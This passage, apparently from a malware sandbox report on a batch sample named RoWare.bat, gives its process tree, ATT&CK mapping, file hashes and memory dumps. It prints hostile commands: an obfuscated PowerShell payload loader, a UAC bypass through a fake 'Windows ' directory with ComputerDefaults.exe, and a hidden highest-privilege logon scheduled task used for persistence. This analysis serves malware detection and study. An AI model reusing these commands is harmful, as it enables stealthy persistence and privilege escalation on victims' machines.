'/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2092
      - C:\Windows \System32\ComputerDefaults.exe
        
        "C:\Windows \System32\ComputerDefaults.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4104
        
        C:\Windows\System32\ie4uinit.exe
        
        "C:\Windows\System32\ie4uinit.exe" -reinstall
        7⤵
        Boot or Logon Autostart Execution: Active Setup
        Modifies Internet Explorer settings
        Modifies registry class
        
        PID:2480
        
        C:\Windows\system32\unregmp2.exe
        
        C:\Windows\system32\unregmp2.exe /SetWMPAsDefault
        7⤵
        Drops file in Windows directory
        Modifies registry class
        
        PID:3180
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
        5⤵
        
        PID:1792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RoWare')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4868

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:508

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
50ede7a722da61c923943566716d04a7

SHA1
c487c8973884b7881dc752f7dded6da0063284b2

SHA256
872cfd31704018b30be0c62ad32e1780ef5f89ca99166966f8a9d9eddffb27a4

SHA512
bb16ca2e083c6d72a5a5388158a122d3544a6065bde76000ea990e52807699ee75d371072bec1812e2ccf1db5da201975ff2ba9c6821a6d8b54f3315829cb64d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RoWare.bat

Filesize
399KB

MD5
472de93de365167459958b7ce29f610e

SHA1
7a7ace619fbd8569c2982fb1fc44aa4b6040f351

SHA256
5baff04fad6153b7debb8003997edf677cd677263af4ab9e95510e225401ccde

SHA512
03fc1017200c386cbe36050f5014c644edd57864ba1f7b88e5ab497d616ba3ec658ee8d690efde5544fe3befe569f3365e4d64f3b276245967193527e3b17f6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tqkmbht.r4v.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
72KB

MD5
56d03e4218082266a9cdd8600537d891

SHA1
c153719f971dcee8f6985d7c79f64fc88dd8663c

SHA256
210d5714497505022aa068167f7ed5bb826abcf53cfe741c9860a2c8dce3f54a

SHA512
f2c64a4dbab789635bf97b3d615fcc96dfe8c4094b67a464eb34bc84501eb7648e7fa692971e917c1ebfac0548187721ecc552aaad35767f8a40846d922613d3

Download Submit
memory/360-202-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/392-195-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1120-207-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1232-199-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1508-209-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1532-197-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1572-196-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1728-198-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1756-201-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/1772-194-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2316-206-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2340-205-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2348-200-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2404-236-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2892-235-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/2936-203-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/3316-172-0x0000000002700000-0x000000000272A000-memory.dmp

Filesize
168KB

Download
memory/3316-193-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/3548-61-0x00007FFB79180000-0x00007FFB7935B000-memory.dmp

Filesize
1.9MB

Download
memory/3548-62-0x00007FFB77EC0000-0x00007FFB77F6E000-memory.dmp

Filesize
696KB

Download
memory/3548-190-0x00000298F4B80000-0x00000298F4B94000-memory.dmp

Filesize
80KB

Download
memory/3548-79-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-78-0x00007FFB5D423000-0x00007FFB5D424000-memory.dmp

Filesize
4KB

Download
memory/3548-71-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-63-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-6-0x00007FFB5D423000-0x00007FFB5D424000-memory.dmp

Filesize
4KB

Download
memory/3548-64-0x00000298F4A00000-0x00000298F4A4C000-memory.dmp

Filesize
304KB

Download
memory/3548-98-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-60-0x00000298F40F0000-0x00000298F4100000-memory.dmp

Filesize
64KB

Download
memory/3548-8-0x00000298F4080000-0x00000298F40A2000-memory.dmp

Filesize
136KB

Download
memory/3548-59-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-50-0x00000298F47A0000-0x00000298F4816000-memory.dmp

Filesize
472KB

Download
memory/3548-49-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/3548-38-0x00000298F4100000-0x00000298F413C000-memory.dmp

Filesize
240KB

Download
memory/3548-13-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

Filesize
9.9MB

Download
memory/4692-204-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download
memory/4868-208-0x00007FFB39210000-0x00007FFB39220000-memory.dmp

Filesize
64KB

Download